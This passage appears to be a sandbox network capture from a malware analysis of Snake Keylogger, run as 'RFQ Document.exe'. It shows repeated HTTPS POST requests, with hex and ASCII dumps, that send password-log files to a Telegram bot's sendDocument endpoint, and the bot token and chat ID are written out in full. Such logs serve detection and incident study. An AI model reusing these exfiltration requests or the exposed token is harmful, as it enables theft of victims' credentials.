2021-09-28 05:58:36 UTC	107	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:36 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:36 UTC	108	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 34 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12649,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808716,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.4	49844	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:36 UTC	108	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cb4a0dfe Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:36 UTC	109	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 62 34 61 30 64 66 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cb4a0dfeContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:36 UTC	109	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:36 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:36 UTC	109	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 35 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12650,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808716,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.4	49845	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:36 UTC	110	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cb61e4d0 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:36 UTC	110	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 62 36 31 65 34 64 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cb61e4d0Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:36 UTC	111	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:36 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:36 UTC	111	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 35 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12651,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808716,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49781	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:22 UTC	10	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c2af12f7 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:22 UTC	11	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 32 61 66 31 32 66 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c2af12f7Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:22 UTC	11	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:22 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:22 UTC	12	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 35 38 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12586,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808702,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.4	49846	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:36 UTC	112	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cb79bc6f Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:36 UTC	112	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 62 37 39 62 63 36 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cb79bc6fContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:36 UTC	112	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:36 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:36 UTC	113	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 35 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12652,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808716,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.4	49847	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:37 UTC	113	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cb9659fd Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:37 UTC	113	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 62 39 36 35 39 66 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cb9659fdContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:37 UTC	114	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:37 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:37 UTC	114	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 35 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12653,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808717,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.4	49848	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:37 UTC	115	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cbae3072 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:37 UTC	115	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 62 61 65 33 30 37 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cbae3072Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:37 UTC	115	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:37 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:37 UTC	116	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 35 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12654,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808717,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.4	49849	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:37 UTC	116	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cbdb7cb6 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:37 UTC	117	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 62 64 62 37 63 62 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cbdb7cb6Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:37 UTC	117	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:37 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:37 UTC	117	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 35 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 37 2c 22 64 Data Ascii: 